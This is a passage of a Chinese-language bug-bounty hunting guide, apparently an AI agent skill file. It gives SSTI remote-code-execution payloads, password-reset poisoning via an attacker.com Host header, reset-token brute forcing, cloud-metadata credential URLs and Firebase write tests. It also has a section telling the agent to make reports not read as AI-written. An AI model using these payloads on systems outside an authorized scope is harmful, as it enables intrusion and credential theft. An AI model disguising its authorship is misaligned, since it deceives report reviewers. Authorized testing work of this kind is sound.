前端读取 Content-Length: 13 -> 发送全部内容。后端读取 Transfer-Encoding -> 看到数据块“0” = 结束 -> “SMUGGLED”留在缓冲区中 -> 污染下一位用户的请求。
Android / 移动端漏洞挖掘
- 绕过证书固定(Frida/objection)
- 导出的 Activity/Receiver(AndroidManifest.xml)
- 深度链接注入
- 以明文存储的共享首选项 / SQLite
- WebView JavaScript 桥接
- 移动端 API 通常使用比 Web 端更旧/不同的 API 版本
CI/CD 流水线
- GitHub Actions:
pull_request_target中检出 PR 代码 - 工作流日志中的密钥
- 构建产物投毒(覆盖现有构建产物)
- 通过分支/标签名称实施构建命令注入
- 从 CI 运行器窃取 OIDC 令牌
SSTI——服务器端模板注入
检测载荷
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
测试位置
- 名称/简介/描述字段(个人资料页面)
- 电子邮件模板(发票名称、确认邮件中的用户名)
- 自定义错误消息
- PDF 生成器(发票、报告导出)
- URL 路径参数
- 反映在结果中的搜索查询
Jinja2 -> RCE (Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE (PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE (Ruby on Rails)
<%= `id` %>
子域名接管
检测
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
快速判定指纹
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
影响升级
- 基本接管:在 target.com 子域名下提供页面 -> 低/中
-
- Cookie:如果 target.com 设置了 domain=.target.com 的 Cookie -> 凭据窃取 -> 高
-
- OAuth 重定向:如果 sub.target.com 是已注册的 redirect_uri -> ATO 链 -> 严重
-
- CSP 绕过:如果 sub.target.com 位于 target 的 CSP 中 -> 任意位置 XSS -> 严重
ATO —— 账户接管(完整分类)
路径 1:密码重置投毒(Host 标头注入)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
路径 2:重置令牌泄露至 Referer
点击重置链接后,如果页面加载外部资源 -> 令牌会通过 Referer 标头发送至外部域名。
路径 3:可预测/弱重置令牌
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
路径 4:令牌未过期/可重用
请求令牌 -> 等待 2 小时 -> 使用令牌 -> 仍然有效吗?请求令牌 #1 -> 请求令牌 #2 -> 使用令牌 #1 -> 仍然有效吗?
路径 5:更改电子邮件地址时无需重新认证
PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim
路径 6:滥用 OAuth 账户关联
能否将使用不同电子邮件地址的 OAuth 账户关联到现有账户?
路径 7:会话固定
GET /login -> 记录 Set-Cookie session=XYZ -> 登录 -> 会话 ID 是否发生变化?如果没有 = 会话固定。
云/基础设施配置错误
S3 / GCS / Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 元数据(通过 SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Firebase 开放规则
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
暴露的管理面板
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
Kubernetes / Docker
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
阶段 4:验证
7 个问题的门槛(撰写任何报告之前执行)
7 个问题的答案必须全部为“是”。任何一个答案为“否” -> 停止。
Q1:我现在能用真实 PoC 利用这个漏洞吗?
写出准确的 HTTP 请求。如果无法提供有效请求 -> 放弃。
Q2:它会影响没有采取任何特殊操作的真实用户吗?
不要说“用户需要……”且附带 5 个前提条件。受害者无需做任何特别操作。
Q3:影响是否具体(资金、PII、ATO、RCE)?
“技术上可行”不等于影响。“我读取了受害者的 SSN”才是影响。
Q4:根据项目政策,它是否在范围内?
根据项目的范围页面核对确切的域名/端点。
Q5:我是否检查了 Hacktivity/更新日志,排除重复漏洞?
搜索该项目已公开的报告和近期更新日志条目。
Q6:它是否不在“始终拒绝”列表中?
查看下方列表。如果在列表中且无法串联其他漏洞 -> 放弃。
Q7:审查人员读到这份报告时会说“是的,这是真正的漏洞”吗?
假设自己是周五下午 5 点疲惫的审查人员,重新阅读报告。它能过关吗?
提交前的 4 道关卡
关卡 0:现实性检查(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
关卡 1:影响验证(2 分钟)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
关卡 2:重复项检查(5 分钟)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
关卡 3:报告质量(10 分钟)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 快速指南
| 因素 | 低(0-3.9) | 中(4-6.9) | 高(7-8.9) | 严重(9-10) |
|---|---|---|---|---|
| 攻击向量 | 物理 | 本地 | 相邻 | 网络 |
| 权限 | 高 | 低 | 无 | 无 |
| 用户交互 | 必需 | 必需 | 无 | 无 |
| 影响 | 部分 | 部分 | 高 | 高(全部 3 项) |
各类漏洞的典型评分
| 漏洞 | 典型 CVSS | 严重程度 |
|---|---|---|
| IDOR(读取 PII) | 6.5 | 中 |
| IDOR(写入/删除) | 7.5 | 高 |
| 认证绕过 -> 管理员权限 | 9.8 | 严重 |
| 存储型 XSS | 5.4-8.8 | 中-高 |
| SQLi(数据外泄) | 8.6 | 高 |
| SSRF(云元数据) | 9.1 | 严重 |
| 竞态条件(双重消费) | 7.5 | 高 |
| GraphQL 认证绕过 | 8.7 | 高 |
| JWT none 算法 | 9.1 | 严重 |
总是被拒绝的报告——绝不要提交
缺少 CSP/HSTS/安全标头,缺少 SPF/DKIM/DMARC,仅有 GraphQL introspection,未提供可利用的 CVE,仅披露 Banner/版本信息,在非敏感页面上的点击劫持,标签页劫持,CSV 注入,没有凭据窃取 PoC 的 CORS 通配符,登出 CSRF,自我 XSS,仅有开放重定向,移动应用中的 OAuth client_secret,仅有 DNS ping 的 SSRF,仅有 Host 标头注入,非关键表单没有速率限制,登出后会话未失效,允许并发会话,泄露内部 IP,混合内容,SSL 弱加密套件,仅缺少 HttpOnly/Secure Cookie 标志,失效的外部链接,预账户接管(通常),密码字段启用自动完成功能。
N/A 会拉低你的有效率。Informative 不影响有效率。只提交通过 7 问门槛的报告。
与其他问题链式组合后才有效
以下低危发现与其他问题链式组合后,才会成为有效漏洞:
| 低危发现 | + 链式问题 | = 有效漏洞 |
|---|---|---|
| 开放重定向 | + OAuth 代码窃取 | ATO |
| 点击劫持 | + 敏感操作 + PoC | 账户操作 |
| CORS 通配符 | + 凭据窃取 | 数据窃取 |
| CSRF | + 敏感状态变更 | 账户接管 |
| 没有速率限制 | + OTP 暴力破解 | ATO |
| SSRF(仅 DNS) | + 内部访问证明 | 内部网络访问 |
| Host 标头注入 | + 密码重置投毒 | ATO |
| 自我 XSS | + 登录 CSRF | 受害者的存储型 XSS |
阶段 5:报告
HackerOne 报告模板
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd 报告模板
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
自然语气规则(避免写得像 AI)
- 句子从影响开始,而不是从漏洞名称开始
- 像是在向聪明的开发者解释,而不是在写教科书
- 使用“我”和主动语态:“我发现……”而不是“发现了一个漏洞……”
- 一个具体示例胜过三句抽象描述
- 不要使用破折号,也不要使用“全面/利用/无缝/确保”
报告标题公式
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
好的标题:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
不好的标题:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
影响说明公式(第一段)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
提交前 60 秒检查清单
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
严重性升级措辞
如果赏金金额被下调,请使用以下反驳措辞:
| 项目方说 | 你这样反驳 |
|---|---|
| “需要身份验证” | “攻击者只需要一个免费账户(无需特殊角色)” |
| “影响有限” | “影响 [N] 名用户 / [PII 类型] / [$ 金额]” |
| “已有人报告” | “请提供报告编号,我查过了,没有找到” |
| “这是设计如此” | “请提供说明这是预期行为的文档” |
| “CVSS 评分较低” | “CVSS 未考虑业务影响,攻击者可以窃取 [X]” |
资源
漏洞赏金平台
- HackerOne Hacktivity -- 已披露的报告
- Bugcrowd Crowdstream -- 公开的发现
- Intigriti Leaderboard
学习
- PortSwigger Web Academy -- 免费漏洞实验室(最佳)
- HackTricks -- 攻击技术参考
- PayloadsAllTheThings -- Payload 参考
- Solodit -- 5 万余条可搜索的审计发现(Web3)
- ProjectDiscovery Chaos -- 免费子域名数据集
字典
- SecLists -- 综合字典
- HowToHunt -- 漏洞挖掘分步指南
- DefaultCreds -- 默认凭据
Payload 数据库
- XSSHunter -- 盲 XSS 检测
- interactsh -- OOB 回调服务
安装(Claude Code 技能)
要将其用作 Claude Code 技能,请将此文件复制到你的技能目录:
# Option A: Clone the repo and link the skill
git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/Awarexone/Agentic-Bug-Hunter/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
然后,在 Claude Code 中,当你询问漏洞赏金、侦察或漏洞搜寻相关内容时,此技能会自动加载。